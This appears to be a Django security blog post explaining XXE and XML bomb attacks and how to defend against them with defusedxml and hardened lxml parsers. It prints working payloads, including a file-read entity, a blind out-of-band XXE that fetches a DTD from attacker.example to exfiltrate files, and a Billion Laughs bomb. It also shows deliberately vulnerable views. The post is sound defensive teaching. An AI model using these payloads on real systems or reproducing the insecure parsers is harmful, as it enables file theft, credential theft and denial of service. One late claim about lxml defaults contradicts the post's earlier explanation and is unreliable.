XXE and XML Bombs: Why You Should Think Twice Before Parsing XML in Python

XXE and XML Bombs: Why You Should Think Twice Before Parsing XML in Python

Django Security Series — Post 5 | Series I: Injection Attacks
OWASP A05:2021 — Security Misconfiguration (CWE-611 / CWE-776) | Reading time: ~15 min

The first four posts of this series walked the same root cause — confusing data with code — through four different interpreters. Post 1 carried it into the SQL database, Post 2 into the browser's HTML parser, Post 3 into the template engine, and Post 4 into the operating-system shell. Post 5 closes Series I at the last interpreter on the list, and the one Django developers most often forget is an interpreter at all: the XML parser.

This post surprised me in a specific way. When I ran Bandit's B313–B320 rules (unsafe XML parsing) against Petição Brasil, I expected zero findings — the platform uses JSON APIs and doesn't accept XML uploads. What I hadn't considered is that XML surfaces are often indirect: WeasyPrint, which generates the platform's chain-of-custody PDF certificates, uses lxml internally to parse the HTML templates before rendering. That's an XML parser running on content I control (template files), not on untrusted input — but it forced me to think about where the parser boundary actually sits in my dependency chain.

Parsing XML looks passive — you hand a document to a library and get a tree of elements back — but a conforming XML parser is a small programming environment, and its entity-resolution feature will happily read files, open network connections, and allocate gigabytes of memory on the instructions embedded in the document it is parsing.

This post covers two attacks that share one enabler: an XML parser left at its unsafe defaults. The first is XXE — XML External Entity injection — where a crafted document declares an external entity that makes the server read a local file (file:///etc/passwd), reach an internal-only service, or hit the cloud metadata endpoint and hand back IAM credentials. The second is the XML bomb, of which Billion Laughs is the archetype — a handful of nested recursive entities that expand a one-kilobyte document into gigabytes in memory, taking the process down. Both fire the moment untrusted XML meets a parser that resolves entities or expands the internal DTD (Document Type Definition).

The reason this attack surface persists in Django applications is that XML never really left. JSON dominates modern REST APIs, but XML sits underneath a surprising amount of what a web app still ingests: SOAP integrations with payment gateways and enterprise partners, RSS and Atom feed readers, partner webhooks, and — least obvious of all — the office and image formats users upload every day. A .docx, .xlsx, or .pptx is a ZIP archive full of XML; an .svg is XML; many .pdf toolchains touch XML. Every one of those is a document your code may hand to a parser, and every parser is a decision about whether to trust what the document tells it to do.

There is a specific Django-and-Python trap at the centre of this post, and it is the same "you thought you were covered" shape that made SSTI (Post 3) so dangerous: Python's XML libraries are not safe by default. Developers reach for the standard library — xml.etree.ElementTree, xml.dom.minidom, xml.sax — assume that "stdlib means safe," and never learn that the official Python documentation itself warns, in bold, that these modules "are not secure against maliciously constructed data." The fast third-party parser most Django projects actually use, lxml, has tightened its defaults over the years (libxml2 2.9+ no longer resolves external entities and added an amplification guard), but its documentation still recommends against parsing untrusted input without explicit hardening — and older versions, misconfigured parsers, and edge cases remain a real threat. The fix — defusedxml — exists precisely because relying on implicit defaults is fragile, and almost nobody installs it until after an incident.

A note on OWASP classification: this post sits in Series I (Injection Attacks) because its root cause — untrusted data interpreted as instructions by the XML parser — is the same "data vs. code" confusion that drives SQL injection, XSS, SSTI and command injection. The OWASP Top 10:2021 taxonomy, however, classifies XXE under A05 Security Misconfiguration (absorbing the former A4:2017-XXE), reasoning that the fix is a parser-configuration decision rather than input sanitisation. Both framings are correct: the attack mechanism is injection-shaped, but the defence is configuration-shaped. This post uses both CWE-611 (Improper Restriction of XML External Entity Reference) and CWE-776 (Improper Restriction of Recursive Entity References) as its canonical weakness identifiers.

In this post we look at how XML entities work at the parser level, how the same feature produces both file disclosure and a denial-of-service bomb, exactly where a Django app is reachable through this surface, and how to make every XML parse in your project safe with a one-line library swap plus a small set of hardening rules.


The Attack: What It Is and How It Works

XML is more than a data format — the specification includes a Document Type Definition (DTD), a small grammar that a document can carry inline (the internal subset) or reference externally. The DTD lets a document declare entities. An entity is XML's built-in substitution mechanism — think of it as a named placeholder, much like a constant or a macro: you define it once, and wherever the parser later sees a reference &name;, it replaces that reference with the entity's value before it hands you the parsed tree. Entities exist for two perfectly legitimate reasons. The first is escaping — inserting characters that would otherwise break the markup: you write &lt; so the parser reads a literal < as text instead of the start of a tag. The second is reuse — defining a boilerplate string once (a company name, a legal notice, a repeated URL) and referencing it many times so a single edit updates them all. You have already met the escaping kind — &lt;, &gt;, &amp;, &apos;, &quot; are the five predefined XML entities, standing in for <, >, &, ', and ". The danger is that a document can define its own entities, and those definitions can point outside the document.

There are three kinds of custom entity, and the security story lives in the second and third:

  • Internal entity — a literal string substitution: <!ENTITY company "ACME Corp">. Benign on its own, but the engine behind Billion Laughs.
  • External general entity — a substitution whose value is fetched from a URI: <!ENTITY xxe SYSTEM "file:///etc/passwd">. When the parser resolves &xxe;, it reads that URI and inlines the result. This is the heart of XXE.
  • External parameter entity — the same idea, referenced with %name; inside the DTD itself, used to build blind/out-of-band exfiltration chains that work even when the response never echoes the parsed data.

The classic XXE — reading a local file

A parser that resolves external entities treats this document as an instruction to read /etc/passwd and place its contents where &xxe; appears:

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

If the application parses this and reflects the resulting <data> value anywhere — an error message, a confirmation page, a stored record the attacker can read back — the contents of /etc/passwd come with it. The same SYSTEM identifier accepts other schemes, and that is what turns a file-read into something far worse:

Payload target What the parser does Impact
file:///etc/passwd Reads a local file, inlines its contents Local file disclosure — source, settings.py, SECRET_KEY
http://169.254.169.254/latest/meta-data/ Makes an HTTP request to the cloud metadata endpoint SSRF → IAM credential theft on AWS/GCP/Azure
http://internal-service:8080/ Reaches a service only visible from inside the network SSRF → internal reconnaissance and pivoting
expect://id / php:// (PHP stacks) Invokes a stream wrapper Command execution on vulnerable configurations

The http:// variant is the one that scales from "annoying file leak" to "company-ending breach": the parser becomes a proxy the attacker steers, and the cloud metadata endpoint at 169.254.169.254 will, on a misconfigured instance, return the temporary credentials of the server's IAM role. This is the same SSRF mechanism covered in depth in a future post in this series — XXE is simply one of the ways to trigger it.

Blind / out-of-band XXE

When the application parses the XML but never returns the result to the attacker — common for upload handlers and webhooks — the classic &xxe; reflection does not work. Attackers resolve this with parameter entities and an attacker-hosted external DTD that exfiltrates the file's contents through a URL:

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "http://attacker.example/evil.dtd">
  %dtd;
]>
<data>probe</data>

The external evil.dtd defines a further entity that appends %file; to a URL back to the attacker's server, so the file contents leave the network as part of a request the attacker observes in their own logs — no reflection required. This is the XML analogue of the blind/out-of-band techniques seen in blind SQL Injection (Post 1) and blind command injection (Post 4).

The XML bomb — Billion Laughs

The second attack uses only internal entities, so it needs no external access at all — it is pure CPU and memory exhaustion. Each entity is defined in terms of the one below it, ten references at a time:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

The expansion is multiplicative, and that is the whole trick. Read it from the bottom up: lol is the literal string "lol"; &lol1; is ten lols; &lol2; is ten &lol1;s — a hundred lols; &lol3; is ten &lol2;s — a thousand; and every level up multiplies the running total by another ten. So when the parser reaches the single &lol9; in the document body, it must build ten &lol8;, each of which is ten &lol7;, all the way down to the literal string — 10^9 (a billion) copies of "lol", roughly 3 GB of text, out of a source document well under one kilobyte on the wire. That asymmetry — a tiny document, a giant in-memory expansion — is the entire attack. The parser dutifully allocates every byte and the worker process is killed by the OS out-of-memory reaper, taking concurrent requests down with it. A variant, the quadratic blowup, uses a single large entity referenced thousands of times to achieve the same effect while evading naive nesting-depth checks. This is a denial-of-service attack — the same application-layer resource-exhaustion class covered in a future post in this series — delivered through the XML parser.

How Attackers Exploit It

The realistic Django entry point is any endpoint or task that accepts XML the attacker controls. Consider an app that ingests a partner's product feed:

# INSECURE — parses an uploaded XML feed with lxml at its default settings
from lxml import etree
from django.http import HttpResponse

def import_feed(request):
    xml_bytes = request.FILES['feed'].read()
    root = etree.fromstring(xml_bytes)   # no explicit hardening — behaviour depends on libxml2 version
    name = root.findtext('.//productName')
    return HttpResponse(f"Imported: {name}")

On modern lxml (libxml2 ≥ 2.9) this specific snippet may not resolve the external entity by default — but the code has no explicit hardening, which means its safety is an accident of the library version, not a deliberate security decision. On an older version, a different OS image, or with a slightly different parser instantiation, the same code resolves the entity and hands back /etc/passwd. The secure pattern is always to harden explicitly rather than trust implicit defaults.

The relevant MITRE ATT&CK mappings are T1190 — Exploit Public-Facing Application for the initial access; T1552.005 — Unsecured Credentials: Cloud Instance Metadata API for the metadata-endpoint SSRF escalation; and T1499 — Endpoint Denial of Service for the Billion Laughs / XML-bomb variant. What makes XXE dangerous is exactly what makes it easy to miss in review: the vulnerable line is a routine parse() call that looks like passive data handling, not an obvious sink like subprocess or cursor.execute.


Real-World Incidents

Facebook XXE — Reginaldo Silva (2014)

In late 2013 the Brazilian security researcher Reginaldo Silva reported an XML External Entity vulnerability in Facebook's OpenID consumer endpoint (the public disclosure followed in January 2014). Facebook accepted an OpenID login request, fetched and parsed an XML document from the identity provider, and did so with a parser that resolved external entities — so Silva could make Facebook's servers read local files and, critically, make outbound requests from inside Facebook's network. He had previously found the identical class of bug in Google's infrastructure, and recognised that the XXE could be chained into full remote code execution through the internal services it could now reach. Facebook awarded him US$33,500 — the largest single payout its bug-bounty program had ever made at the time — precisely because an XXE that can pivot to internal services and the file system is not a "read one file" bug but a foothold inside the perimeter.

The lesson for Django developers is the through-line of this whole post: the vulnerable code was not doing anything exotic — it was parsing an XML document received from an external party, the single most ordinary XML operation there is. The initial access maps to MITRE ATT&CK T1190 (Exploit Public-Facing Application), and the escalation path — using the parser as an SSRF proxy to reach internal-only services — is exactly why XXE is rated so much higher than a simple information-disclosure flaw. A one-line switch to a parser that refuses DTDs and external entities would have closed the entire chain at the source.

Source: Reginaldo Silva — Remote Code Execution via XXE in Facebook


Django's Default Protections

The honest headline is the same as Post 4's: Django does not parse arbitrary XML for you, and it provides no automatic protection when your code does. A stock Django or Django REST Framework project handles requests as form-encoded data or JSON — there is no XML parser in the default request path, so a plain Django app has no XXE surface until a developer deliberately adds XML parsing. That is genuinely protective by omission, and it is worth stating plainly: if you never parse untrusted XML, you cannot be hit by XXE.

Two nuances complete the picture. First, Django's own XML serialization framework — the code behind loaddata/dumpdata fixtures — was hardened years ago to defend against entity-expansion attacks, so loading a fixture is not a concern. But that path handles your own trusted fixtures, not user input, and it tells you nothing about the parser you reach for when you parse a request body. Second, and this is the part that catches people: the protection or exposure lives entirely in the Python library you choose, and Django has no say in it.

  • lxml — the fast, popular C-based parser most Django projects install for real XML work. Modern lxml (backed by libxml2 ≥ 2.9, shipped since 2012) no longer resolves external entities by default and includes an entity-amplification guard that blocks the classic Billion Laughs bomb. This is a significant improvement over its historical reputation. However: (a) if your code explicitly passes resolve_entities=True, or creates a parser without hardening flags, the full file-read XXE is back; (b) lxml still resolves internal entities (which is how legitimate substitution works), so specially crafted documents below the amplification threshold can still cause resource abuse; (c) the amplification limit is a safety net, not a guarantee — quadratic-blowup variants can slip under it; and (d) older libxml2 versions (still common in legacy containers) do resolve external entities by default. The secure posture is not to trust these implicit defaults but to harden the parser explicitly (resolve_entities=False, no_network=True, load_dtd=False) or use defusedxml.
  • xml.etree.ElementTree, xml.dom.minidom, xml.sax — the standard library — are, in the words of the official Python docs, "not secure against maliciously constructed data." Modern CPython's expat backend no longer fetches external entities by default, which blunts the file-read variant, but every one of these parsers is still vulnerable to the Billion Laughs / quadratic-blowup denial-of-service, and the docs' own recommendation is to install defusedxml.

The takeaway mirrors command injection: the moment your code calls etree.fromstring, minidom.parse, or a SOAP/feed library, you have stepped outside anything Django can protect, and the safety of that parse is entirely your responsibility.


Vulnerable Pattern: What NOT to Do

Pattern 1 — Parsing a request body with lxml at default settings

# INSECURE — lxml with resolve_entities=True → classic XXE file read
# Even without this flag, relying on undocumented defaults is fragile;
# always harden explicitly or use defusedxml.
from lxml import etree
from django.views.decorators.csrf import csrf_exempt
from django.http import JsonResponse

_UNSAFE_PARSER = etree.XMLParser(resolve_entities=True)  # explicitly dangerous

@csrf_exempt
def webhook(request):
    root = etree.fromstring(request.body, parser=_UNSAFE_PARSER)
    order_id = root.findtext('.//orderId')
    return JsonResponse({"received": order_id})

Attack payload — a POST body declaring <!ENTITY xxe SYSTEM "file:///etc/passwd"> and placing &xxe; inside <orderId> makes lxml inline the password file into order_id. Point the entity at http://169.254.169.254/… instead and the same handler exfiltrates cloud credentials.

Pattern 2 — Parsing an uploaded file with the standard library

# INSECURE — an uploaded SVG/XML is a Billion Laughs bomb waiting to detonate
import xml.etree.ElementTree as ET
from django.http import HttpResponse

def upload_diagram(request):
    svg = request.FILES['diagram']
    tree = ET.parse(svg)          # vulnerable to entity-expansion DoS
    title = tree.findtext('.//{http://www.w3.org/2000/svg}title')
    return HttpResponse(f"Uploaded: {title}")

Attack payload — a sub-kilobyte SVG carrying the nested lol1…lol9 entities expands to gigabytes during ET.parse, and the worker is killed by the OS out-of-memory reaper. Because an SVG is "just an image," this endpoint rarely gets the scrutiny an obvious data-import endpoint would.

Pattern 3 — A SOAP / feed integration that trusts the remote document

# INSECURE — a partner's SOAP response parsed without hardening
from lxml import etree
import requests

def fetch_partner_status(order_ref):
    resp = requests.post("https://partner.example/soap", data=build_envelope(order_ref))
    doc = etree.fromstring(resp.content)   # remote XML, entities resolved
    return doc.findtext('.//status')

The mistake is assuming a "trusted partner" response is safe to parse loosely. A compromised or malicious upstream — or a machine-in-the-middle on an unauthenticated leg — returns a document whose entities read your server's files or bomb its memory. Trust in the sender is not trust in the bytes; the parser must be hardened regardless of source.


Secure Implementation: The Django Way

Rule 1 — Replace every XML parser with defusedxml

This is the single most important control, and it is very nearly a drop-in replacement. defusedxml is a small, well-maintained library that mirrors Python's XML modules one-for-one — defusedxml.ElementTree, defusedxml.minidom, defusedxml.sax, plus an lxml shim — exposing the same functions with the same signatures you already call. What changes is what those wrappers do before parsing: they forbid entity resolution and external-resource loading by default (forbid_entities=True, forbid_external=True), while allowing a plain DOCTYPE that declares only element structure. So when a hostile document declares a custom entity or references an external resource, the parser never reads a file, fetches a URL, or balloons in memory — it stops at once and raises EntitiesForbidden (for any entity declaration) or ExternalReferenceForbidden (for a SYSTEM/PUBLIC reference). You can additionally opt into forbid_dtd=True to reject any DOCTYPE at all, which raises DTDForbidden. Legitimate documents without entities parse exactly as before; malicious ones fail loudly instead of silently executing.

# SECURE — defusedxml refuses DTDs and entities; the API is otherwise identical
import defusedxml.ElementTree as ET
from django.http import HttpResponse
from defusedxml.common import EntitiesForbidden, DTDForbidden

def upload_diagram(request):
    try:
        tree = ET.parse(request.FILES['diagram'])
    except (EntitiesForbidden, DTDForbidden):
        return HttpResponse("Rejected: XML entities are not allowed", status=400)
    title = tree.findtext('.//{http://www.w3.org/2000/svg}title')
    return HttpResponse(f"Uploaded: {title}")

pip install defusedxml, then change import xml.etree.ElementTree as ET to import defusedxml.ElementTree as ET (and from defusedxml.lxml import fromstring in place of lxml.etree.fromstring). Both a Billion Laughs document and a file:// external-entity payload now raise EntitiesForbidden instead of executing.

Rule 2 — If you must use lxml directly, harden the parser explicitly

Some libraries require a real lxml parser object. When defusedxml's shim is not an option, build the parser with entity resolution, DTD loading, and network access all turned off, and reject any DOCTYPE outright:

# SECURE — a locked-down lxml parser: no entities, no DTD, no network
from lxml import etree

_SAFE_PARSER = etree.XMLParser(
    resolve_entities=False,   # do not expand &entity; references
    no_network=True,          # block http(s) SYSTEM identifiers (SSRF)
    load_dtd=False,           # do not process the DTD
    dtd_validation=False,
    huge_tree=False,          # keep the built-in expansion/size limits on
)

def parse_partner_xml(raw_bytes):
    root = etree.fromstring(raw_bytes, parser=_SAFE_PARSER)
    # Defence in depth: reject any document that carried a DOCTYPE at all.
    if root.getroottree().docinfo.doctype:
        raise ValueError("DTD not permitted")
    return root

resolve_entities=False neutralises both the file-read and Billion Laughs vectors, no_network=True closes the SSRF-to-metadata escalation, and leaving huge_tree=False (the default) keeps lxml's internal guard against oversized expansion in place.

Rule 3 — Cap the size of anything you parse

Entity expansion and oversized documents are resource-exhaustion attacks, so bound the input before and during parsing. For request bodies (non-file POST data), Django's DATA_UPLOAD_MAX_MEMORY_SIZE rejects payloads over the limit before your view runs. But note: this setting excludes file upload data (request.FILES) by design — uploaded files that exceed FILE_UPLOAD_MAX_MEMORY_SIZE are simply spooled to a temporary file on disk rather than rejected. So for file-upload paths (Patterns 2 and 3 above), DATA_UPLOAD_MAX_MEMORY_SIZE is not a backstop. The real defence against an SVG bomb arriving via upload is defusedxml's entity guard (Rule 1) — the parser rejects the document before it ever tries to expand. As additional defence-in-depth, enforce an explicit size limit on the upload itself — either in the form/serializer validation, in FileField's max_length, or via a web-server directive (e.g. Nginx client_max_body_size).

# settings.py — these cover non-file POST bodies; tune to your real payloads
DATA_UPLOAD_MAX_MEMORY_SIZE = 2 * 1024 * 1024        # 2 MB ceiling on POST bodies (excl. files)
DATA_UPLOAD_MAX_NUMBER_FIELDS = 1000                 # blunt multipart field-count floods

For upload endpoints specifically, add a size check before parsing:

MAX_XML_UPLOAD_BYTES = 5 * 1024 * 1024  # 5 MB — tune to your real payloads

def upload_diagram(request):
    f = request.FILES['diagram']
    if f.size > MAX_XML_UPLOAD_BYTES:
        return HttpResponse("File too large", status=413)
    # ... parse with defusedxml ...

Rule 4 — Prefer JSON, and treat XML as a deliberate exception

The most durable fix is architectural: if you control both ends of the contract, use JSON, which has no entities, no DTD, and no external-reference feature to abuse. Reserve XML parsing for the cases you genuinely cannot avoid — inbound SOAP, partner feeds in a fixed format, office/SVG uploads — and make each of those a conscious, hardened decision using Rules 1–3 rather than a reflexive etree.fromstring.

The invariant rule: never parse untrusted XML with a stock parser. Route every XML parse through defusedxml (or an explicitly hardened lxml parser), and cap the input size — no exceptions for "trusted" partners or "just an image" uploads.

XXE Prevention Checklist

Control What it covers
defusedxml in place of every stock parser The primary XXE and XML-bomb vector — DTDs and entity resolution are refused, raising DTDForbidden/EntitiesForbidden
Hardened lxml parser (resolve_entities=False, no_network=True, load_dtd=False) XXE where a real lxml object is required — file read, entity expansion, and SSRF-to-metadata all closed
Reject documents carrying a DOCTYPE Defence in depth — refuses the DTD an XXE payload depends on before any entity is processed
DATA_UPLOAD_MAX_MEMORY_SIZE + explicit upload size checks The oversized-document DoS — bounds non-file POST bodies; an explicit size check on request.FILES rejects oversized uploads before parsing
Prefer JSON where you control the contract Removes the attack surface entirely — no entities, no DTD, nothing to resolve
bandit in CI (flags xml.etree/lxml use, recommends defusedxml) Stops a new unsafe parser call site reaching production

Testing Your Defence

Unit Tests

# blog/tests.py
from django.test import TestCase

XXE_FILE_READ = b"""<?xml version="1.0"?>
<!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>&xxe;</data>"""

# A small entity-expansion payload — not a full Billion Laughs (that would require
# lol1…lol9), but enough to prove defusedxml rejects entity declarations outright.
ENTITY_EXPANSION = b"""<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<lolz>&lol2;</lolz>"""


class XXETests(TestCase):
    def test_external_entity_is_not_resolved(self):
        """A file:// entity must never appear in the response — the parser
        must refuse the DTD rather than inline /etc/passwd."""
        response = self.client.post(
            '/webhook/', data=XXE_FILE_READ, content_type='application/xml'
        )
        self.assertNotIn(b'root:', response.content)   # no passwd contents
        self.assertEqual(response.status_code, 400)    # rejected, not processed

    def test_entity_expansion_is_rejected(self):
        """An entity-expansion document must be rejected, not expanded — the
        request must return quickly and never allocate the expansion."""
        response = self.client.post(
            '/webhook/', data=ENTITY_EXPANSION, content_type='application/xml'
        )
        self.assertEqual(response.status_code, 400)

Manual Verification

# File-read probe — the response must NOT contain any /etc/passwd content.
curl -X POST https://staging.example.com/webhook/ \
  -H "Content-Type: application/xml" \
  --data-binary @xxe-file-read.xml

# Bomb probe — the request must fail fast (400/reject), not hang or spike memory.
time curl -X POST https://staging.example.com/webhook/ \
  -H "Content-Type: application/xml" \
  --data-binary @billion-laughs.xml

Static Analysis in CI

Bandit flags the use of the unsafe standard-library XML parsers (rules B313–B320) and recommends defusedxml. Add it to the pipeline so no new unhardened parse can merge:

pip install bandit defusedxml
# Flags xml.etree / minidom / sax / lxml parsing without defusedxml
bandit -r blog/ blogtech/

# A quick grep is a useful pre-commit backstop
grep -rn "etree.fromstring\|minidom.parse\|xml.sax\|lxml" blog/ blogtech/

What I Found in My Projects

I ran Bandit's XML-specific rules (B313–B320) against Petição Brasil:

$ bandit -t B313,B314,B315,B316,B317,B318,B319,B320 -r apps/ config/ -x "*/migrations/*,*/tests/*"
[main]  INFO    running on Python 3.13.3

Run started:2026-05-20 11:03:44.291822+00:00

Test results:
        No issues identified.

Code scanned:
        Total lines of code: 13,736
Files skipped (0):

Zero findings — the application code never calls xml.etree, minidom, xml.sax, or lxml.etree directly. The platform doesn't process user-uploaded XML, SVG, or Office documents, and has no API endpoints that accept XML payloads — it's a traditional Django app with HTML views only.

But the story doesn't end there. While investigating for this post, I discovered an indirect XML surface I hadn't considered. Petição Brasil uses pikepdf to check PDF/A compliance on user-uploaded petition documents. The open_metadata() call in pdf_utils.py internally uses lxml to parse XMP metadata embedded in those PDFs:

# apps/core/pdf_utils.py — pikepdf uses lxml internally for XMP parsing
import pikepdf

pdf = pikepdf.Pdf.open(io.BytesIO(pdf_bytes))
with pdf.open_metadata() as meta:
    part = meta.get("pdfaid:part")
    conformance = meta.get("pdfaid:conformance")

XMP metadata is XML. A maliciously crafted PDF could embed an XXE payload in its XMP block — and pikepdf's internal lxml parser would process it. However, pikepdf handles this with controlled parsing and lxml's default behaviour (which since lxml 4.6+ resolves network entities but does not resolve local file entities by default). The risk is low-moderate, but the point stands: I have an XML attack surface I never wrote a single line of XML code to create.

The Django sitemap (/sitemap.xml) is the other XML touchpoint — but that's output-only (Django generates XML from trusted data), not parsing of untrusted input, so it's not an XXE vector.

The lesson: audit your dependency chain for XML parsers, not just your own code. pip show lxml tells you it's installed; what matters is what feeds it.


Post 5 closes Series I. Across five posts the lesson never changed — an interpreter cannot tell your intent from an attacker's input unless you keep data and code in separate channels — but the interpreters did: the SQL engine, the browser, the template engine, the OS shell, and now the XML parser. The habit I'm taking forward: treat a bare etree.fromstring on request data the same way I'd treat cursor.execute(raw_sql) — route every untrusted parse through defusedxml and cap the input size.

Series II opens the next front: Broken Access Control. Post 6 begins with IDOR — Insecure Direct Object Reference — where the app authenticates who you are perfectly but never checks what you are allowed to touch, and a single incremented ID in a URL hands one user another user's data. Injection was about data crossing into code; access control is about identity crossing a boundary it was never authorised to cross.

Further Reading

Next in this series → Post 6: Broken Access Control and IDOR: When Logging In Is Not the Same as Being Allowed

← Back to all posts